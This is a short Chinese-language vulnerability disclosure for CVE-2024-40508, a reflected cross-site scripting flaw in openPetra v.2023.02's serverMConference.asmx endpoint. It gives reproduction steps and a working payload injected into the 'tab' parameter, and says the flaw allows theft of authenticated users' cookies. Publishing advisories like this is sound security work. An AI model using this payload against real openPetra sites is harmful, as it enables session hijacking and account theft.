CVE-2024-40508

openPetra v.2023.02 中通过 serverMConference.asmx 函数存在的跨站脚本（XSS）漏洞

描述: 未经认证的用户可以通过利用 openPetra v.2023.02 中 serverMConference.asmx 函数的 XSS 漏洞，窃取已认证用户的 Cookie。

受影响产品版本: openPetra v.2023.02
CVE 作者: Jansen Moreira 日期: 13/07/2024
CVE: CVE-2024-40508
CVE 链接: https://www.cve.org/CVERecord?id=CVE-2024-40508
NVD 链接: https://nvd.nist.gov/vuln/detail/CVE-2024-40508
Tenable 链接: https://www.tenable.com/cve/CVE-2024-40508
确认日期: 13/07/2024
测试平台: Linux

复现步骤:

1- 访问主页
2- 使用以下路径，并将 XSS payload 添加到 tab 参数中。例如： target.com/api/serverMConference.asmx?bnd=TMHospitalityWebServiceSoap&op=THospitalityWebConnector_Dummy&page=op&tab=x" onmouseover=alert(document.cookie) x="
3- 将鼠标悬停在左侧索引项上以触发 XSS

Payloads:
tab: x" onmouseover=alert(document.cookie) x="

发现者/致谢： Jansen Moreira